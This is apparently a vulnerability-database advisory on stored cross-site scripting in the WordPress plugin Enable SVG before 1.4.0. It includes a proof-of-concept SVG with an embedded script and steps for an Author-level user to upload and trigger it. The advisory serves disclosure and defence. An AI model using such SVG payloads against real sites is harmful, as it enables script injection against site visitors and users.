Lucene search

K
wpexploitIBLISS Digital SecurityWPEX-ID:8E5B1E4F-C132-42EE-B2D0-7306AB4AB615
HistoryMay 03, 2022 - 12:00 a.m.

Enable SVG < 1.4.0 - Author+ Stored Cross Site Scripting via SVG

2022-05-0300:00:00
IBLISS Digital Security
76

0.001 Low

EPSS

Percentile

25.0%

The plugin does not sanitise uploaded SVG files, which could allow users with a role as low as Author to upload a malicious SVG containing XSS payloads

As an author or above, upload the below SVG file via the Media library:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400" />
<script type="text/javascript">
alert(/XSS/);
</script>
</svg>

The XSS will be triggered when accessing the file directly, e.g https://example.com/wp-content/uploads/2022/05/xss.svg

0.001 Low

EPSS

Percentile

25.0%

Related for WPEX-ID:8E5B1E4F-C132-42EE-B2D0-7306AB4AB615